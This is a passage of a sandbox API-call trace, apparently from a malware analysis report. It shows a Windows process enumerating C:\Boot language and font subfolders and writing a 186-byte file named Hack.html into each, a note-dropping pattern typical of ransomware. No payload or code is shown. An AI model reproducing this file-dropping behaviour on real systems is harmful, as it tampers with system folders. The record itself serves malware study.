lpFindFileData=0x39eb30) returned 1 [0065.781] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.782] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.782] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK", lpFilePart=0x0) returned 0xd [0065.782] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\", lpFilePart=0x0) returned 0xe [0065.782] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.782] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.782] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.783] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.783] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.783] GetFullPathNameW (in: lpFileName="C:\\Boot\\da-DK\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\da-DK\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.783] CreateFileW (lpFileName="C:\\Boot\\da-DK\\Hack.html" (normalized: "c:\\boot\\da-dk\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.783] GetFileType (hFile=0x3cc) returned 0x1 [0065.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.783] GetFileType (hFile=0x3cc) returned 0x1 [0065.784] WriteFile (in: hFile=0x3cc, lpBuffer=0x2704fdc*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2704fdc*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.785] CloseHandle (hObject=0x3cc) returned 1 [0065.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.785] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0065.785] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\", lpFilePart=0x0) returned 0xe [0065.785] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.787] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.787] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.787] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.787] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.787] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE", lpFilePart=0x0) returned 0xd [0065.787] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\", lpFilePart=0x0) returned 0xe [0065.788] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.788] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.788] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.788] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.788] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.788] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.789] GetFullPathNameW (in: lpFileName="C:\\Boot\\de-DE\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\de-DE\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.789] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.789] CreateFileW (lpFileName="C:\\Boot\\de-DE\\Hack.html" (normalized: "c:\\boot\\de-de\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.789] GetFileType (hFile=0x3cc) returned 0x1 [0065.789] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.789] GetFileType (hFile=0x3cc) returned 0x1 [0065.789] WriteFile (in: hFile=0x3cc, lpBuffer=0x27086a8*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x27086a8*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.790] CloseHandle (hObject=0x3cc) returned 1 [0065.791] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.791] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0065.791] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\", lpFilePart=0x0) returned 0xe [0065.791] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.791] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.791] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.792] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.792] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.792] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.792] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.792] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR", lpFilePart=0x0) returned 0xd [0065.792] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\", lpFilePart=0x0) returned 0xe [0065.792] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.792] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.793] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.793] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.793] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.793] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.793] GetFullPathNameW (in: lpFileName="C:\\Boot\\el-GR\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\el-GR\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.793] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.793] CreateFileW (lpFileName="C:\\Boot\\el-GR\\Hack.html" (normalized: "c:\\boot\\el-gr\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.794] GetFileType (hFile=0x3cc) returned 0x1 [0065.794] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.794] GetFileType (hFile=0x3cc) returned 0x1 [0065.794] WriteFile (in: hFile=0x3cc, lpBuffer=0x270bd74*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x270bd74*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.795] CloseHandle (hObject=0x3cc) returned 1 [0065.795] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.795] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0065.795] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\", lpFilePart=0x0) returned 0xe [0065.795] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.797] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.797] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.797] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.797] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.797] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.797] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.797] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.797] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US", lpFilePart=0x0) returned 0xd [0065.798] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\", lpFilePart=0x0) returned 0xe [0065.798] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.798] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.798] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.798] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.798] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.799] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.799] GetFullPathNameW (in: lpFileName="C:\\Boot\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\en-US\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.799] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.799] CreateFileW (lpFileName="C:\\Boot\\en-US\\Hack.html" (normalized: "c:\\boot\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.799] GetFileType (hFile=0x3cc) returned 0x1 [0065.799] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.800] GetFileType (hFile=0x3cc) returned 0x1 [0065.800] WriteFile (in: hFile=0x3cc, lpBuffer=0x270f688*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x270f688*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.801] CloseHandle (hObject=0x3cc) returned 1 [0065.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.801] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0065.801] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\", lpFilePart=0x0) returned 0xe [0065.801] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.803] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.803] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.803] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.803] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.803] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES", lpFilePart=0x0) returned 0xd [0065.803] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\", lpFilePart=0x0) returned 0xe [0065.804] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.804] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.804] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.804] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.804] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.804] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.805] GetFullPathNameW (in: lpFileName="C:\\Boot\\es-ES\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\es-ES\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.805] CreateFileW (lpFileName="C:\\Boot\\es-ES\\Hack.html" (normalized: "c:\\boot\\es-es\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.805] GetFileType (hFile=0x3cc) returned 0x1 [0065.805] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.805] GetFileType (hFile=0x3cc) returned 0x1 [0065.806] WriteFile (in: hFile=0x3cc, lpBuffer=0x2712d54*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2712d54*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.807] CloseHandle (hObject=0x3cc) returned 1 [0065.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.807] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0065.807] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\", lpFilePart=0x0) returned 0xe [0065.807] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.808] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.808] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.808] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.808] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.809] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.809] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI", lpFilePart=0x0) returned 0xd [0065.809] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\", lpFilePart=0x0) returned 0xe [0065.809] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.809] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.809] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.809] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.810] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.810] GetFullPathNameW (in: lpFileName="C:\\Boot\\fi-FI\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fi-FI\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.810] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.810] CreateFileW (lpFileName="C:\\Boot\\fi-FI\\Hack.html" (normalized: "c:\\boot\\fi-fi\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.810] GetFileType (hFile=0x3cc) returned 0x1 [0065.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.810] GetFileType (hFile=0x3cc) returned 0x1 [0065.811] WriteFile (in: hFile=0x3cc, lpBuffer=0x2716420*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x2716420*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.813] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.813] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0065.813] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\", lpFilePart=0x0) returned 0xe [0065.813] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.814] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.814] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.814] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.814] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.814] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.815] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.815] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.815] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.815] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts", lpFilePart=0x0) returned 0xd [0065.815] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\", lpFilePart=0x0) returned 0xe [0065.815] FindFirstFileW (in: lpFileName="C:\\Boot\\Fonts\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.816] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.817] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edb8) returned 1 [0065.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39edc4) returned 1 [0065.817] GetFullPathNameW (in: lpFileName="C:\\Boot\\Fonts\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e7f4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\Fonts\\Hack.html", lpFilePart=0x0) returned 0x17 [0065.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ece8) returned 1 [0065.817] CreateFileW (lpFileName="C:\\Boot\\Fonts\\Hack.html" (normalized: "c:\\boot\\fonts\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x3cc [0065.819] GetFileType (hFile=0x3cc) returned 0x1 [0065.819] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece4) returned 1 [0065.819] GetFileType (hFile=0x3cc) returned 0x1 [0065.819] WriteFile (in: hFile=0x3cc, lpBuffer=0x271a27c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ed64, lpOverlapped=0x0 | out: lpBuffer=0x271a27c*, lpNumberOfBytesWritten=0x39ed64*=0xba, lpOverlapped=0x0) returned 1 [0065.820] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39edf8) returned 1 [0065.820] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR", nBufferLength=0x105, lpBuffer=0x39e900, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR", lpFilePart=0x0) returned 0xd [0065.820] GetFullPathNameW (in: lpFileName="C:\\Boot\\fr-FR\\", nBufferLength=0x105, lpBuffer=0x39e8d4, lpFilePart=0x0 | out: lpBuffer="C:\\Boot\\fr-FR\\", lpFilePart=0x0) returned 0xe [0065.821] FindFirstFileW (in: lpFileName="C:\\Boot\\fr-FR\\*", lpFindFileData=0x39eb20 | out: lpFindFileData=0x39eb20) returned 0x521dc0 [0065.822] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.822] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 1 [0065.822] FindNextFileW (in: hFindFile=0x521dc0, lpFindFileData=0x39eb30 | out: lpFindFileData=0x39eb30) returned 0 [0065.822] FindClose (in: hFindFile=0x521dc0 | out: hFindFile=0x521dc0) returned 1 [0065.822] 